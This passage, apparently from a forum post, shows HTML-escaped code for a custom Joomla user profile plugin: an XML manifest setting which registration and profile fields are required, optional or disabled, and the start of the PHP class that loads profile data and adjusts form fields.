&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_city&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_CITY_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_region&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_REGION_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_country&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_COUNTRY_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_postal_code&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_POSTAL_CODE_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_phone&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_PHONE_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_website&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_WEB_SITE_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_favoritebook&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_aboutme&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_ABOUT_ME_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_tos&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_TOS_LABEL&amp;quot;&#xA;                    default=&amp;quot;0&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register_tos_article&amp;quot;&#xA;                    type=&amp;quot;modal_article&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL&amp;quot;&#xA;                    select=&amp;quot;true&amp;quot;&#xA;                    new=&amp;quot;true&amp;quot;&#xA;                    edit=&amp;quot;true&amp;quot;&#xA;                    clear=&amp;quot;true&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_dob&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_DOB_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;spacer1&amp;quot;&#xA;                    type=&amp;quot;spacer&amp;quot;&#xA;                    hr=&amp;quot;true&amp;quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require-user&amp;quot;&#xA;                    type=&amp;quot;spacer&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER&amp;quot;&#xA;                    class=&amp;quot;text&amp;quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_address1&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_ADDRESS1_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_address2&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_ADDRESS2_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_city&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_CITY_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_region&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_REGION_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_country&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_COUNTRY_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_postal_code&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_POSTAL_CODE_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_phone&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_PHONE_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_website&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_WEB_SITE_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_favoritebook&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_aboutme&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_ABOUT_ME_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;profile-require_dob&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_DOB_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;customprofile.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @package     Joomla.Plugin&#xA; * @subpackage  User.profile&#xA; *&#xA; * @copyright   (C) 2009 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA;&#xA; * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace&#xA; */&#xA;&#xA;use Joomla\CMS\Date\Date;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\String\PunycodeHelper;&#xA;use Joomla\Database\ParameterType;&#xA;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;// phpcs:disable PSR1.Files.SideEffects&#xA;\defined('_JEXEC') or die;&#xA;// phpcs:enable PSR1.Files.SideEffects&#xA;&#xA;/**&#xA; * An example custom profile plugin.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class PlgUserCustomProfile extends CMSPlugin&#xA;{&#xA;    /**&#xA;     * @var    \Joomla\CMS\Application\CMSApplication&#xA;     *&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected $app;&#xA;&#xA;    /**&#xA;     * @var    \Joomla\Database\DatabaseDriver&#xA;     *&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected $db;&#xA;&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     *&#xA;     * @var    boolean&#xA;     *&#xA;     * @since  3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Date of birth.&#xA;     *&#xA;     * @var    string&#xA;     *&#xA;     * @since  3.1&#xA;     */&#xA;    private $date = '';&#xA;&#xA;    /**&#xA;     * Runs on content preparation&#xA;     *&#xA;     * @param   string  $context  The context for the data&#xA;     * @param   object  $data     An object containing the data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function onContentPrepareData($context, $data)&#xA;    {&#xA;        // Check we are manipulating a valid form.&#xA;        if (!in_array($context, ['com_users.profile', 'com_users.user', 'com_users.registration'])) {&#xA;            return true;&#xA;        }&#xA;&#xA;        if (is_object($data)) {&#xA;            $userId = $data-&amp;gt;id ?? 0;&#xA;&#xA;            if (!isset($data-&amp;gt;profile) &amp;amp;&amp;amp; $userId &amp;gt; 0) {&#xA;                // Load the profile data from the database.&#xA;                $db    = $this-&amp;gt;db;&#xA;                $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select(&#xA;                        [&#xA;                            $db-&amp;gt;quoteName('profile_key'),&#xA;                            $db-&amp;gt;quoteName('profile_value'),&#xA;                        ]&#xA;                    )&#xA;                    -&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'))&#xA;                    -&amp;gt;where($db-&amp;gt;quoteName('user_id') . ' = :userid')&#xA;                    -&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE ' . $db-&amp;gt;quote('profile.%'))&#xA;                    -&amp;gt;order($db-&amp;gt;quoteName('ordering'))&#xA;                    -&amp;gt;bind(':userid', $userId, ParameterType::INTEGER);&#xA;&#xA;                $db-&amp;gt;setQuery($query);&#xA;                $results = $db-&amp;gt;loadRowList();&#xA;&#xA;                // Merge the profile data.&#xA;                $data-&amp;gt;profile = [];&#xA;&#xA;                foreach ($results as $v) {&#xA;                    $k = str_replace('profile.', '', $v[0]);&#xA;                    $data-&amp;gt;profile[$k] = json_decode($v[1], true);&#xA;&#xA;                    if ($data-&amp;gt;profile[$k] === null) {&#xA;                        $data-&amp;gt;profile[$k] = $v[1];&#xA;                    }&#xA;                }&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.url')) {&#xA;                HTMLHelper::register('users.url', [__CLASS__, 'url']);&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.calendar')) {&#xA;                HTMLHelper::register('users.calendar', [__CLASS__, 'calendar']);&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.tos')) {&#xA;                HTMLHelper::register('users.tos', [__CLASS__, 'tos']);&#xA;            }&#xA;&#xA;            if (!HTMLHelper::isRegistered('users.dob')) {&#xA;                HTMLHelper::register('users.dob', [__CLASS__, 'dob']);&#xA;            }&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns an anchor tag generated from a given value&#xA;     *&#xA;     * @param   string  $value  URL to use&#xA;     *&#xA;     * @return  mixed|string&#xA;     */&#xA;    public static function url($value)&#xA;    {&#xA;        if (empty($value)) {&#xA;            return HTMLHelper::_('users.value', $value);&#xA;        } else {&#xA;            // Convert website URL to utf8 for display&#xA;            $value = PunycodeHelper::urlToUTF8(htmlspecialchars($value));&#xA;&#xA;            if (strpos($value, 'http') === 0) {&#xA;                return '&amp;lt;a href=&amp;quot;' . $value . '&amp;quot;&amp;gt;' . $value . '&amp;lt;/a&amp;gt;';&#xA;            } else {&#xA;                return '&amp;lt;a href=&amp;quot;http://' . $value . '&amp;quot;&amp;gt;' . $value . '&amp;lt;/a&amp;gt;';&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns html markup showing a date picker&#xA;     *&#xA;     * @param   string  $value  valid date string&#xA;     *&#xA;     * @return  mixed&#xA;     */&#xA;    public static function calendar($value)&#xA;    {&#xA;        if (empty($value)) {&#xA;            return HTMLHelper::_('users.value', $value);&#xA;        } else {&#xA;            return HTMLHelper::_('date', $value, null, null);&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns the date of birth formatted and calculated using server timezone.&#xA;     *&#xA;     * @param   string  $value  valid date string&#xA;     *&#xA;     * @return  mixed&#xA;     */&#xA;    public static function dob($value)&#xA;    {&#xA;        if (!$value) {&#xA;            return '';&#xA;        }&#xA;&#xA;        return HTMLHelper::_('date', $value, Text::_('DATE_FORMAT_LC1'), false);&#xA;    }&#xA;&#xA;    /**&#xA;     * Return the translated strings yes or no depending on the value&#xA;     *&#xA;     * @param   boolean  $value  input value&#xA;     *&#xA;     * @return  string&#xA;     */&#xA;    public static function tos($value)&#xA;    {&#xA;        if ($value) {&#xA;            return Text::_('JYES');&#xA;        } else {&#xA;            return Text::_('JNO');&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * Adds additional fields to the user editing form&#xA;     *&#xA;     * @param   Form   $form  The form to be altered.&#xA;     * @param   mixed  $data  The associated data for the form.&#xA;     *&#xA;     * @return  boolean&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function onContentPrepareForm(Form $form, $data)&#xA;    {&#xA;        // Check we are manipulating a valid form.&#xA;        $name = $form-&amp;gt;getName();&#xA;&#xA;        if (!in_array($name, ['com_users.user', 'com_users.profile', 'com_users.registration'])) {&#xA;            return true;&#xA;        }&#xA;&#xA;        // Add the registration fields to the form.&#xA;        FormHelper::addFieldPrefix('Joomla\\Plugin\\User\\Profile\\Field');&#xA;        FormHelper::addFormPath(__DIR__ . '/forms');&#xA;        $form-&amp;gt;loadFile('profile');&#xA;&#xA;        $fields = [&#xA;            'address1',&#xA;            'address2',&#xA;            'city',&#xA;            'region',&#xA;            'country',&#xA;            'postal_code',&#xA;            'phone',&#xA;            'website',&#xA;            'favoritebook',&#xA;            'aboutme',&#xA;            'dob',&#xA;            'tos',&#xA;        ];&#xA;&#xA;        $tosArticle = $this-&amp;gt;params-&amp;gt;get('register_tos_article');&#xA;        $tosEnabled = $this-&amp;gt;params-&amp;gt;get('register-require_tos', 0);&#xA;&#xA;        // We need to be in the registration form and field needs to be enabled&#xA;        if ($name !== 'com_users.registration' || !$tosEnabled) {&#xA;            // We only want the TOS in the registration form&#xA;            $form-&amp;gt;removeField('tos', 'profile');&#xA;        } else {&#xA;            // Push the TOS article ID into the TOS field.&#xA;            $form-&amp;gt;setFieldAttribute('tos', 'article', $tosArticle, 'profile');&#xA;        }&#xA;&#xA;        foreach ($fields as $field) {&#xA;            // Case using the users manager in admin&#xA;            if ($name === 'com_users.user') {&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0) {&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');&#xA;                } elseif (&#xA;                    // Remove the field if it is disabled in registration and profile&#xA;                    $this-&amp;gt;params-&amp;gt;get('register-require_' . $field, 1) == 0&#xA;                    &amp;amp;&amp;amp; $this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) == 0&#xA;                ) {&#xA;                    $form-&amp;gt;removeField($field, 'profile');&#xA;                }&#xA;            } elseif ($name === 'com_users.registration') {&#xA;                // Case registration&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field, 1) &amp;gt; 0) {&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('register-require_' . $field) == 2) ? 'required' : '', 'profile');&#xA;                } else {&#xA;                    $form-&amp;gt;removeField($field, 'profile');&#xA;                }&#xA;            } elseif ($name === 'com_users.profile') {&#xA;                // Case profile in site or admin&#xA;                // Toggle whether the field is required.&#xA;                if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0) {&#xA;                    $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) 